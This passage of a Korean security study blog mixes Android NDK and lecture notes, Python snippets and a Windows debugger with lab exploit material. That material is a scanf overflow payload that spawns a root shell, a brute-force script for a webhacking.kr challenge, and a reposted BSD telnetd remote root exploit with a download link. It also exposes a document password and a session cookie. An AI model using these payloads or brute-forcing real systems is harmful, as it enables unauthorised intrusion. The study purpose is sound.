  (JNIEnv *, jobject, jint, jint);

 

#ifdef __cplusplus

}

#endif

#endif

 

 

--------------------------------------------------------------------------------

우리는 여기서 JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest
  (JNIEnv *, jobject, jint, jint);
  사용할수 있다.

 

 

4. JNI C/C++ 라이브러리 만들기




 

 

-------------------------------- edge_smash_NdkMethod.c ---------------------------------------

#include "edge_smash_NdkMethod.h"

 

JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest(JNIEnv * pEnv, jobject object, jint a, jint b){

 

             return a+b;

}

---------------------------------------------------------------------------------

4.3 시그윈에서 *.so 빌드하기

 

 

이두개의 파일을 프로젝트 jni 폴더를 만든뒤 집어넣는다.

 

 

$pwd 

/home/k1rha/android-nkd-r8/PROJECT/smash

 

$mkdir jni

$ls

edge_smash_NdkMethod.c edge_smash_NdkMethod.h 

 

여기서 파일 Android.mk 파일을 작성해서 넣어준다

 

------------------------------ Android.mk --------------------------------------------

 

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE  := NdkMethodLibrary

LOCAL_SRC_FILES := edge_smash_NdkMethod.cpp

include $(BUILD_SHARED_LIBRARY)

 

--------------------------------------------------------------------------------------

 

생성되는 모듈이름

LOCAL_MODULE  := tjssm_ndktest_NdkMethod

소스파일 이름

LOCAL_SRC_FILES := tjssm_ndktest_NdkMethod.cpp

 

 

$ls

edge_smash_NdkMethod.c edge_smash_NdkMethod.h  Android.mk

 

 

$pwd 

/home/k1rha/android-nkd-r8/PROJECT/smash

$ndk-build

 

위와같이 하고나면 libs so 파일이 생긴다

 




 

5. 라이브러리와 안드로이드 프로젝트 합치고 실행하기

 

1.System.loadLibrary("JNItest"); 를 사용하여 so 파일을 로딩한다.

이때 생성된 so 파일에는 제일 앞에 lib가 붙지만 loadLibrary()에 적어줄대는 lib를 빼고 넣어야한다.

그냥 생성된 .h 파일의 이름과 동일하게 넣으면 된다.

 

 

 

 

 

 

 

위의 순서대로 진행하면된다

 

Posted by k1rha
2012. 7. 6. 00:43

Scanf 환경에서의 아주아주 simple한 오버플로우 테스트.



환경 

FEDORA 3

[root@Fedora_1stFloor test]# uname -a
Linux Fedora_1stFloor 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux
[root@Fedora_1stFloor test]# gcc v
gcc: v: No such file or directory
gcc: no input files
[root@Fedora_1stFloor test]# gcc -v
Reading specs from /usr/lib/gcc/i386-redhat-linux/3.4.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-java-awt=gtk --host=i386-redhat-linux
Thread model: posix
gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)
[root@Fedora_1stFloor test]# 

취약한 코드 


[root@Fedora_1stFloor test]# cat scanf.c
#include<stdio.h>

int main(){
char buff[100];
scanf("%s",buff);
printf("%s",buff);
return 0;
}



공격은 가호 안살지만 간단한 테스트를 위해 심볼릭 링크를 이용하겠다. 


[root@Fedora_1stFloor test]# cat system.c

#include<stdio.h>


int main(){

system("/bin/sh");

return 0;

}

[root@Fedora_1stFloor test]# 



필요한 주소값들 조사.

0x080483e6 <main+74>: ret
 (gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>

(gdb) p execve

$2 = {<text variable, no debug info>} 0x7a5490 <execve>




오버플로우 발생 확인 RET주소 덮여쓰여지는 것 확인 

[root@Fedora_1stFloor test]# ulimit -c 1000

[root@Fedora_1stFloor test]# (python -c 'print "A"*128')|./scanf

[root@Fedora_1stFloor test]# gdb -c core.13235 

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu".

Core was generated by `./scanf'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) 



공격 PAYLOAD 

[buffer 120byte ] [sfp = 4byte] [ret = 4byte] [argc ][argv]

AAAAA.....AAA   AAAA             &ret -> &ret -> &ret -> &ret  &system

                                             (정적인 주소까지 eip를 올린다)   

 


[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' )| strace -i  ./scanf

[007037a2] clone(sh: AAAA: command not found

child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfee68ee0) = 13255

[007037a2] waitpid(13255, [{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0) = 13255

[007037a2] rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0

[007037a2] rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0


[root@Fedora_1stFloor test]#

[root@Fedora_1stFloor test]# ln -s system AAAA 


[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' ;cat)|  ./scanf

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)


다들 scanf 쓰실때 버퍼 오버 플로우 조심하쎄요~ 





Posted by k1rha
2012. 7. 2. 23:02

http://www.exploit-db.com/exploits/19520/

This exploit was leaked on the Full Disclosure mailing list:
 
http://seclists.org/fulldisclosure/2012/Jun/404
 
 
BSD telnetd Remote Root Exploit *ZERODAY*
By Kingcope
Year 2011
 
usage: telnet [-4] [-6] [-8] [-E] [-K] [-L] [-N] [-S tos] [-X atype] [-c] [-d]
        [-e char] [-k realm] [-l user] [-f/-F] [-n tracefile] [-r] [-s
src_addr] [-u] [-P policy] [-y] <-t TARGET_NUMBER> [host-name
[port]]
TARGETS:
0 FreeBSD 8.2 i386
1 FreeBSD 8.0/8.1/8.2 i386
2 FreeBSD 7.3/7.4 i386
3 FreeBSD 6.2/6.3/6.4 i386
4 FreeBSD 5.3/5.5 i386
5 FreeBSD 4.9/4.11 i386
6 NetBSD 5.0/5.1 i386
7 NetBSD 4.0 i386
8 FreeBSD 8.2 amd64
9 FreeBSD 8.0/8.1 amd64
10 FreeBSD 7.1/7.3/7.4 amd64
11 FreeBSD 7.1 amd64
12 FreeBSD 7.0 amd64
13 FreeBSD 6.4 amd64
14 FreeBSD 6.3 amd64
15 FreeBSD 6.2 amd64
16 FreeBSD 6.1 amd64
17 TESTING i386
18 TESTING amd64
Trying 192.168.2.8...
Connected to 192.168.2.8.
Escape character is '^]'.
Trying SRA secure login:
*** EXPLOITING REMOTE TELNETD
*** by Kingcope
*** Year 2011
USING TARGET -- FreeBSD 8.2 amd64
SC LEN: 30
ALEX-ALEX
 6:36PM  up 5 mins, 1 user, load averages: 0.01, 0.15, 0.09
USER             TTY      FROM              LOGIN@  IDLE WHAT
kcope            pts/0    192.168.2.3       6:32PM     4 _su (csh)
FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17
02:41:51 UTC 2011
root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  amd64
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)


Exploit:  http://www.exploit-db.com/sploits/19520.zip
익스플로잇 다운 로드 


Free BSD 환경에서만 적용 

Posted by k1rha
2012. 7. 2. 09:25

try:
    request
= urllib2.Request( url=self.uri+url, headers=self.headers )
    r
= urllib2.urlopen(request)
    xml
= r.read()
   
return parseString( xml )
except urllib2.HTTPError as err:
    logger
.debug("EXCEPTION: %s" % err.read() )
파이썬에서 try catch 는 위와같이 써준다. 

Posted by k1rha
2012. 7. 2. 02:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 2. 01:25

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 22:05

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 20:55

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 01:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 01:39

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 01:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 6. 30. 16:46

Android 인사이드 강의

2012-06-30

 문서 암호 : 9V8~hbe[Z2


android_JNI-NDK_APv1.0.pdf


공부의 흐름?

1. 리눅스 부트 로더 올리는 것을 알아야 한다.

-> 밑단에 대한 공부

ARM (Cortex - A8 A9) CPU 에서 올려 봐야 함.

Device Driver 를 알아야 함.

 

3.Linux kernel을 알아야 한다

 How to learn kernel? ->  1. 포팅 하면서 공부한다.

                                  2. 내부 operation을 통해 시스템프로그래밍을 해본다.

 

4.Process 동기화

 

5.Kernel Network.

 

6.File system

 

7.Android

 

최신 흐름 방향?

è  가전 제품!

 

안드로이드 system architecture

응용프로그램

프레임워크

라이브러리   - 달빗 가상 머신

리눅스 커널

è  백그라운드 스레드, 메모리 관리, 보안, 디바이스 드라이버,

런타임  : 달빅 가상 머신과 자바 코어 라이브러리로 구성

프레임 워커 : 안드로이드 API

응용 프로그램

 

 

인스턴스화 할 수 있는 4개의 컨포넌트 (쉽게 복사할수 있는 매개체)

:액티비티, 서비스. 방송수신자, 콘텐츠 제공자

 

리눅스 커널과는 달리 안드로이드 커널에 추가된 부분

Alarm 기능

Low Memory killer

Ashmem

Kernel Debugger

Binder

Power manager

 

 

 

Android : HAL

안드로이드가 새롭게 만든 서비스 계층

Hardware Abstraction Library -> 커널 디바이스 드라이버 

 

Android Libraries

è  JNI

 

Surfaceflinger/Audioflinger

 

What is frame buffer? -> 디바이스 드라이버

 

Android Runtime – Dalvik VM

Android의 개발은 Eclipse ADT Plug-in 을 통해서 JAVA로 컴파일 되고, Class Resource Dx컨버터를 통해 Android app(.apk)로 변환 되어 Dalvick VM 을 사용

 

 

 

Kernel

Device file system

Buffer chache

Network

 

 

 

 

 

 

 

디바이스가 부팅 될 때는 reset exception 이 발생하고 이는 처음 부팅할 때 0x0000000 을 로드하고, 그 안에는 시작할 번지수가 들어가 있다.

 그 시작 할 번지는 스택을 만드는데, 이는 C언어의 함수들은 스택 구성으로 이뤄지기 때문이다.

 

Binder

 IPC(inter processing coumnunication)의 프로세싱 오버헤드와 보안 헛점을 해결하기 위해 채택

 

 

Android init의 특징

Init.rc init.%hardware%.rc를 로딩하여 처리

è  안드로이드는 이 부팅 시 두 개 파일밖에 처리 하지 않는다.

è  이렇게 통합된 이유는 퍼미션의 문제와 보안 때문이다.

Init.rc 혹은 devices.c 의 해당 부분을 직접 수정한다.

 

 

일반 리눅스와의 차이

통합된 init

전통적인 /etc/passwd , /etc/group 을 사용하지 않음

/이러한 permission이 결정되고, 이 후 변경하지 못함

모든 안드로이드 어플리케이션은 AndroidManifest.xml 파일을 가지고 권한을 준다.

 

사용자 그룹 ID가 지정되어 있는곳은

System/core/include/private/android_

 

Android 에서 device node 생성

기본적으로 read-only로 생성

device 별 소유와 접근 permission source 에서 처리

위치 : system/core/init/devices.c

 

 

Android 의 초기 실행 과정

System mount Log system 초기화 ->

 

Handler ?          

SIGCHLD handler?

좀비 프로세스 같은 것을 막아두기 위해 사용 되는 것이다.

프로세스간의 동기화 같은 것을 잘 처리하기 위해 사용된다. 따라서 init process SIGCHLD Signal 를 처리 해야만 한다.

 

Init.rc 파일 parsing

Init.rc 파일을 파싱하여 service_list action_list구성을 한다

환경 변수 초기화

Mount point 생성

MTD(랜드 플래시 쪽과 같이)파티션 마운트

기본 파일 시스템

 

On boot.

 

QEMU_init()

Qemu_perms 영역을 meset()을 이용 초기화

Early-init 영역 실행

Device node 생성

System Property 초기화

 

 

임베디드 환경에서 커널 컴파일 할때의 명령어?

#make zimage

 

 

Action_list init 영역을 action_list에 파싱하여 저장

 

파일 포인터와 파일 디스크립터 차이점

파일포인터는 FILE*타입의 포인터 변수를 말하며, C표준 IO라이브러리에서 사용하는 IO개체로, 스트림 기반으로 동작합니다.

 

파일디스크립터는 대개는 int 타입으로 선언되는 고유 식별 번호이며, OS별로 제공되는 IO시스템 콜에서 IO자원을 구별하기 위해 사용합니다.

 

물론, C표준 입출력 스트림 역시 OS 제공하는 IO서비스를 이용하므로, 당연히 FILE구조체의 멤버로 파일 디스크립터가 있을 밖에 없습니다만, FILE* 여기에 더해서 스트림 방식의 형식화된 입출력을 지원하기 위해 여러가지 부가 정보가 붙습니다. 다시말하면, FILE* C표준에서 제정한, 파일디스크립터의 래퍼(wrapper) 자료구조라고 보시면 되겠습니다.

 

파일포인터와 파일 디스크립터의 가장 차이는, 파일포인터는 C라는 언어에서 제정한 표준 입출력 객체이며, 파일디스크립터는 OS에서 제공하는 입출력 식별자라는 점입니다.

 

 

 

 

 

Zygote(수정란)

Zygote를 통한 프로세스 관리(fork 의 아류작!)

어플리케이션을 빠르게 구동하기 위해 미리 fork 되어 있는 프로세스 시스템에서 exec() 호출을 통해 특정 어플리케이션을 실행하고자 하기 전까지는 중립적인 상태, 즉 특정 애플리케이션과 합체되지 않는 상태를 유지.

 

 

 

 

Ramdisk.img

작은 크기로, 설정 파일과 init 프로세스 recovert\y와 같은 실행 파일을 포함

System.img / userdata.img

 

 

NDK(Android native Development eit) 를 이용한 개발

 

JNI 폴더가 같이 커파일된다.

C파일에는 jni.h 가 같이 들어간다.

 

ds에 기본 구성에서 통신하는 부분이 기본 예제로 짜여져 있다.

 

#define led_dev “/dev/led”  //dev 밑에 led가 있다는 것을 정의한다.

Dev  open (led_dev,O_RDWR); // 이런식으로 파일 디스크립터를 불러낸다.

Write(dev,&buff,2)

Close(dev)

위와 같은 코드 식으로 전개 된다.

 

C/C++ 로 작업하면 이가 shared object(SO) 파일로 자바단에서 불러진다. 그리고 함수 호출하듯 호출된다.

 

NK 에서 제공하는 것들

Libc (c library)

STL

OPEN CV

/so 파일로 만들어진 native 바이너리는 apk 파일에 보관되고 이는 /data/data 파일에 저장된다

 

 

Posted by k1rha
2012. 6. 30. 13:36

파이썬 공부도중 httplib 를 활용하는 예제가 나와서 http://webhacking.kr 4번 문제가 

GET방식 brute forcing 공격에 관련된 문제였었다.


위와같이 input box 에 id 와 pw를 입력하면 암호는 숫자이며 2000~3000사이의 숫자라는 것을 알려준다.

익스플로잇 코드는 아래와 같다.



from httplib import HTTP



for i in range(2000,3000):


str_rhttp = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i)

# str_rhttp  = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i)

# print str_rhttp

# print "----------------------------------------------------"

r = HTTP('webhacking.kr',80)

r.putrequest('GET',str_rhttp)

r.putheader('Accept','text/html')

r.putheader('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko)')

r.putheader('Host','webhacking.kr')


r.putheader('cookie','PHPSESSID=5caf21723ee515f908e1584a0bf0dd7b')

r.endheaders()


## print r.str


EC, EM, headers = r.getreply()

# print EC, EM



f= r.getfile()

html=f.read()


# print len(html)


if (len(html) == 257) :

str(i)

# print "fail"


else : 

print str(i)

print html

print '----------------------------------------------'

break


f.close() 



결과 화면 


 

root@ubuntu:~/k1rha/python# python webhackingNo4_exploit.py 

2748

<!--


brute force challenge!



id : guest

pw : 1234



id : admin

pw : 2xxx


admin pass range is 2000 ~ 2999


-->

<html>

<head>

<title>Challenge 4</title>

</head>

<body><center><br><br>

<font size=2>hi <b>admin!</b><p><br><br>k1rha : already solved this challenge. (4 , 150 - 2011-09-03 20:14:29)

----------------------------------------------



Posted by k1rha
2012. 6. 28. 17:04

리스트에 문자열을 파일에 저장하고 싶은데, 사이사이에 개행이 필요할때,  사용하는 경우가 있었다.


리스트 결과값 사이 사이에 넣을때 쓰면 유용하다


 

lines = ['first line','second line','third line']


f = open("test.txt","w")

f.write('\n'.join(lines))




Posted by k1rha
2012. 6. 28. 16:21

C 언어에서 인자값을 받을때 옵션으로 받는 방법을 사용하곤 했었는데 역시나 파이썬도 인자값 처리를 C언어 현태로 따라가는 것같다. 

아래와 같이 getopt 를 설정 여 사용 할 수 있다.



=================================================================

import sys

import getopt

options, args = getopt.getopt(sys.argv[1:],'a:b:c')

for op, p in options:

if op == '-a':

print "option a",p

elif op == '-b':

print "option b",p

elif op == '-c':

print "option c",p

else:

print "unkwon option",op

print args


==============================================================

Posted by k1rha
2012. 6. 27. 23:59

enumerate 는 for문을 좀더 효율적으로 사용하기 위한 파이썬 함수이다.


enumerate 를 하면 인덱스 값과 그 value 값을 동시에 저장 할 수 있다.


예를들어 


 

>>>mylist=['apple','banana','grape']

>>> for i, v in enumerate(mylist):

print(i,v)



결과 : 

 

0 apple

1 banana

2 grape



이를 활용하여 python 열혈강의 책에는 다음과 같은 과제를 주워준다.



13. Linux의 사용자 정보에서 이름만 출력하기.


s = open('/etc/passwd').read()

result = []

for k in s.splitlines():

for i, n in enumerate(k.split(':')):

# to get 5th value in array,

# we have to decrease one.

if i == 4:

result.append(n)


print result






Posted by k1rha
2012. 6. 27. 00:44

[출처 : 파이썬 해킹 프로그래밍 ] 



----------------------------------- my_test.py -----------------------------------------------------

import my_debugger  my_debugger 클래스를 가져온다. (이는 다음 부분에 설명되어있다)
debugger = my_debugger.debugger()    #my_debugger 에서 debugger 함수를 호출하고.
debugger.load("C:₩₩WINDOWS₩₩system32₩₩calc.exe") ##그인자값으로 계산기를 보낸다. 

--------------------------------------------------------------------------------------------------


------------------------------------------- my_debugger ----------------------------------------

from ctypes import *   ## c언어 타입이란걸 정의한다. 

from my_debugger_defines import *   ##my_debugger_deifnes 은 정의된 모든 상수값과 구조체, 유니언을 위치시킨다.


import sys   ##system 을 import 시킨다. 어디에 사용되는지는 아직 잘 모르겠다.

import time  ##시간을 사용하기 위한 클래스를 import 시킨다. 어디에 사용되는지는 아직 잘 모르겠다.

kernel32 = windll.kernel32   ##window dll 을 파이선에서 사용할 수 있도록 한다.


class debugger():

    

  ##프로세스 디버깅을 


##init 이란 구조체는 모든값을 초기화 시킨다. 

    def __init__(self):

        self.h_process       =     None

        self.pid             =     None

        self.debugger_active =     False

        self.h_thread        =     None

        self.context         =     None

        self.breakpoints     =     {}

        self.first_breakpoint=     True

        self.hardware_breakpoints = {}

        

        # Here let's determine and store 

        # the default page size for the system

        # determine the system page size.


        system_info = SYSTEM_INFO() ##시스템 정보를 가져온다.

        kernel32.GetSystemInfo(byref(system_info))  ##시스템 정보를 가져옴.

        self.page_size = system_info.dwPageSize

        

        # TODO: test

        self.guarded_pages      = []

        self.memory_breakpoints = {}

        

    def load(self,path_to_exe): ##load 라는 것을 정의한다. 어떠한 exe 파일 경로를 파라미터로 받는다.

        

        # dwCreation flag determines how to create the process

        # set creation_flags = CREATE_NEW_CONSOLE if you want

        # to see the calculator GUI


        creation_flags = DEBUG_PROCESS

    

        # instantiate the structs

        startupinfo         = STARTUPINFO()

        process_information = PROCESS_INFORMATION()

        

        # The following two options allow the started process

        # to be shown as a separate window. This also illustrates

        # how different settings in the STARTUPINFO struct can affect

        # the debuggee.

        startupinfo.dwFlags     = 0x1

        startupinfo.wShowWindow = 0x0

        

        # We then initialize the cb variable in the STARTUPINFO struct

        # which is just the size of the struct itself

        startupinfo.cb = sizeof(startupinfo)

        

##exe 파일을 프로새스를 생성시킨다.

        if kernel32.CreateProcessA(path_to_exe,

                                   None,

                                   None,

                                   None,

                                   None,

                                   creation_flags,

                                   None,

                                   None,

                                   byref(startupinfo),

                                   byref(process_information)):

            

            print "[*] We have successfully launched the process!"

            print "[*] The Process ID I have is: %d" %process_information.dwProcessId

            self.pid = process_information.dwProcessId

            self.h_process = self.open_process(process_information.dwProcessId)

            self.debugger_active = True

        else:    

            print "[*] Error with error code %d." % kernel32.GetLastError()


    def open_process(self,pid):

        

        # PROCESS_ALL_ACCESS = 0x0x001F0FFF

        h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,pid) 

        

        return h_process

    

    def attach(self,pid):

        

        self.h_process = self.open_process(pid)

        

        # We attempt to attach to the process

        # if this fails we exit the call

        if kernel32.DebugActiveProcess(pid):

            self.debugger_active = True

            self.pid             = int(pid)

                                  

        else:

            print "[*] Unable to attach to the process."

            

    def run(self):

        

        # Now we have to poll the debuggee for 

        # debugging events           

        while self.debugger_active == True:

            self.get_debug_event() 

    

    def get_debug_event(self):

        

        debug_event    = DEBUG_EVENT()

        continue_status = DBG_CONTINUE

        

        if kernel32.WaitForDebugEvent(byref(debug_event),100):

            # grab various information with regards to the current exception.

            self.h_thread          = self.open_thread(debug_event.dwThreadId)

            self.context           = self.get_thread_context(h_thread=self.h_thread)

            self.debug_event       = debug_event

            

                       

            print "Event Code: %d Thread ID: %d" % ₩

                (debug_event.dwDebugEventCode,debug_event.dwThreadId)

            

            if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT:

                self.exception = debug_event.u.Exception.ExceptionRecord.ExceptionCode

                self.exception_address = debug_event.u.Exception.ExceptionRecord.ExceptionAddress

                

                # call the internal handler for the exception event that just occured.

                if self.exception == EXCEPTION_ACCESS_VIOLATION:

                    print "Access Violation Detected."

                elif self.exception == EXCEPTION_BREAKPOINT:

                    continue_status = self.exception_handler_breakpoint()

                elif self.exception == EXCEPTION_GUARD_PAGE:

                    print "Guard Page Access Detected."

                elif self.exception == EXCEPTION_SINGLE_STEP:

                    self.exception_handler_single_step()

                

            kernel32.ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThreadId, continue_status)


            

    def detach(self):

        

        if kernel32.DebugActiveProcessStop(self.pid):

            print "[*] Finished debugging. Exiting..."

            return True

        else:

            print "There was an error"

            return False

    

    def open_thread (self, thread_id):

        

        h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id)

        

        if h_thread is not None:

            return h_thread

        else:

            print "[*] Could not obtain a valid thread handle."

            return False

        

    def enumerate_threads(self):

              

        thread_entry     = THREADENTRY32()

        thread_list      = []

        snapshot         = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid)

        

        if snapshot is not None:

        

            # You have to set the size of the struct

            # or the call will fail

            thread_entry.dwSize = sizeof(thread_entry)


            success = kernel32.Thread32First(snapshot, byref(thread_entry))


            while success:

                if thread_entry.th32OwnerProcessID == self.pid:

                    thread_list.append(thread_entry.th32ThreadID)

    

                success = kernel32.Thread32Next(snapshot, byref(thread_entry))

            

            # No need to explain this call, it closes handles

            # so that we don't leak them.

            kernel32.CloseHandle(snapshot)

            return thread_list

        else:

            return False

        

    def get_thread_context (self, thread_id=None,h_thread=None):

        

        context = CONTEXT()

        context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS

        

        # Obtain a handle to the thread

        if h_thread is None:

            self.h_thread = self.open_thread(thread_id)

                        

        if kernel32.GetThreadContext(self.h_thread, byref(context)):

            

            return context 

        else:

            return False

    

    def read_process_memory(self,address,length):

        

        data         = ""

        read_buf     = create_string_buffer(length)

        count        = c_ulong(0)

        

        

        kernel32.ReadProcessMemory(self.h_process, address, read_buf, 5, byref(count))

        data    = read_buf.raw

        

        return data

    

    

    def write_process_memory(self,address,data):

        

        count  = c_ulong(0)

        length = len(data)

        

        c_data = c_char_p(data[count.value:])


        if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)):

            return False

        else:

            return True

    

    def bp_set(self,address):

        print "[*] Setting breakpoint at: 0x%08x" % address

        if not self.breakpoints.has_key(address):


            # store the original byte

            old_protect = c_ulong(0)

            kernel32.VirtualProtectEx(self.h_process, address, 1, PAGE_EXECUTE_READWRITE, byref(old_protect))

            

            original_byte = self.read_process_memory(address, 1)

            if original_byte != False:

                

                # write the INT3 opcode

                if self.write_process_memory(address, "₩xCC"):

                    

                    # register the breakpoint in our internal list

                    self.breakpoints[address] = (original_byte)

                    return True

            else:

                return False


    

    def exception_handler_breakpoint(self):

        print "[*] Exception address: 0x%08x" % self.exception_address

        # check if the breakpoint is one that we set

        if not self.breakpoints.has_key(self.exception_address):

           

                # if it is the first Windows driven breakpoint

                # then let's just continue on

                if self.first_breakpoint == True:

                   self.first_breakpoint = False

                   print "[*] Hit the first breakpoint."

                   return DBG_CONTINUE

               

        else:

            print "[*] Hit user defined breakpoint."

            # this is where we handle the breakpoints we set 

            # first put the original byte back

            self.write_process_memory(self.exception_address, self.breakpoints[self.exception_address])


            # obtain a fresh context record, reset EIP back to the 

            # original byte and then set the thread's context record

            # with the new EIP value

            self.context = self.get_thread_context(h_thread=self.h_thread)

            self.context.Eip -= 1

            

            kernel32.SetThreadContext(self.h_thread,byref(self.context))

            

            continue_status = DBG_CONTINUE



        return continue_status


    def func_resolve(self,dll,function):

        

        handle  = kernel32.GetModuleHandleA(dll)

        address = kernel32.GetProcAddress(handle, function)

        

        kernel32.CloseHandle(handle)


        return address

    

    def bp_set_hw(self, address, length, condition):

        

        # Check for a valid length value

        if length not in (1, 2, 4):

            return False

        else:

            length -= 1

            

        # Check for a valid condition

        if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):

            return False

        

        # Check for available slots

        if not self.hardware_breakpoints.has_key(0):

            available = 0

        elif not self.hardware_breakpoints.has_key(1):

            available = 1

        elif not self.hardware_breakpoints.has_key(2):

            available = 2

        elif not self.hardware_breakpoints.has_key(3):

            available = 3

        else:

            return False


        # We want to set the debug register in every thread

        for thread_id in self.enumerate_threads():

            context = self.get_thread_context(thread_id=thread_id)


            # Enable the appropriate flag in the DR7

            # register to set the breakpoint

            context.Dr7 |= 1 << (available * 2)


            # Save the address of the breakpoint in the

            # free register that we found

            if   available == 0: context.Dr0 = address

            elif available == 1: context.Dr1 = address

            elif available == 2: context.Dr2 = address

            elif available == 3: context.Dr3 = address


            # Set the breakpoint condition

            context.Dr7 |= condition << ((available * 4) + 16)


            # Set the length

            context.Dr7 |= length << ((available * 4) + 18)


            # Set this threads context with the debug registers

            # set

            h_thread = self.open_thread(thread_id)

            kernel32.SetThreadContext(h_thread,byref(context))


        # update the internal hardware breakpoint array at the used slot index.

        self.hardware_breakpoints[available] = (address,length,condition)


        return True

    

    def exception_handler_single_step(self):

        print "[*] Exception address: 0x%08x" % self.exception_address

        # Comment from PyDbg:

        # determine if this single step event occured in reaction to a hardware breakpoint and grab the hit breakpoint.

        # according to the Intel docs, we should be able to check for the BS flag in Dr6. but it appears that windows

        # isn't properly propogating that flag down to us.

        if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0):

            slot = 0


        elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_key(1):

            slot = 0

        elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_key(2):

            slot = 0

        elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_key(3):

            slot = 0

        else:

            # This wasn't an INT1 generated by a hw breakpoint

            continue_status = DBG_EXCEPTION_NOT_HANDLED


        # Now let's remove the breakpoint from the list

        if self.bp_del_hw(slot):

            continue_status = DBG_CONTINUE


        print "[*] Hardware breakpoint removed."

        return continue_status

    

    def bp_del_hw(self,slot):

        

        # Disable the breakpoint for all active threads

        for thread_id in self.enumerate_threads():


            context = self.get_thread_context(thread_id=thread_id)

            

            # Reset the flags to remove the breakpoint

            context.Dr7 &= ~(1 << (slot * 2))


            # Zero out the address

            if   slot == 0: 

                context.Dr0 = 0x00000000

            elif slot == 1: 

                context.Dr1 = 0x00000000

            elif slot == 2: 

                context.Dr2 = 0x00000000

            elif slot == 3: 

                context.Dr3 = 0x00000000


            # Remove the condition flag

            context.Dr7 &= ~(3 << ((slot * 4) + 16))


            # Remove the length flag

            context.Dr7 &= ~(3 << ((slot * 4) + 18))


            # Reset the thread's context with the breakpoint removed

            h_thread = self.open_thread(thread_id)

            kernel32.SetThreadContext(h_thread,byref(context))

            

        # remove the breakpoint from the internal list.

        del self.hardware_breakpoints[slot]


        return True


    #TODO: test

    def bp_set_mem (self, address, size):

        

        mbi = MEMORY_BASIC_INFORMATION()

        

        # Attempt to discover the base address of the memory page

        if kernel32.VirtualQueryEx(self.h_process, address, byref(mbi), sizeof(mbi)) < sizeof(mbi):

            return False


    

        current_page = mbi.BaseAddress

    

        # We will set the permissions on all pages that are

        # affected by our memory breakpoint.

        while current_page <= address + size:

        

            # Add the page to the list, this will

            # differentiate our guarded pages from those

            # that were set by the OS or the debuggee process

            self.guarded_pages.append(current_page)

            

            old_protection = c_ulong(0)

            if not kernel32.VirtualProtectEx(self.h_process, current_page, size, mbi.Protect | PAGE_GUARD, byref(old_protection)):

                return False

         

            # Increase our range by the size of the

            # default system memory page size

            current_page += self.page_size

    

        # Add the memory breakpoint to our global list

        self.memory_breakpoints[address] = (address, size, mbi)

    

        return True

-------------------------------------------------------------------------------------------------


------------------------------------my_debugger_defines.py----------------------------------

from ctypes import *


# Let's map the Microsoft types to ctypes for clarity

BYTE      = c_ubyte

WORD      = c_ushort

DWORD     = c_ulong

LPBYTE    = POINTER(c_ubyte)

LPTSTR    = POINTER(c_char) 

HANDLE    = c_void_p

PVOID     = c_void_p

LPVOID    = c_void_p

UINT_PTR  = c_ulong

SIZE_T    = c_ulong


# Constants

DEBUG_PROCESS         = 0x00000001

CREATE_NEW_CONSOLE    = 0x00000010

PROCESS_ALL_ACCESS    = 0x001F0FFF

INFINITE              = 0xFFFFFFFF

DBG_CONTINUE          = 0x00010002



# Debug event constants

EXCEPTION_DEBUG_EVENT      =    0x1

CREATE_THREAD_DEBUG_EVENT  =    0x2

CREATE_PROCESS_DEBUG_EVENT =    0x3

EXIT_THREAD_DEBUG_EVENT    =    0x4
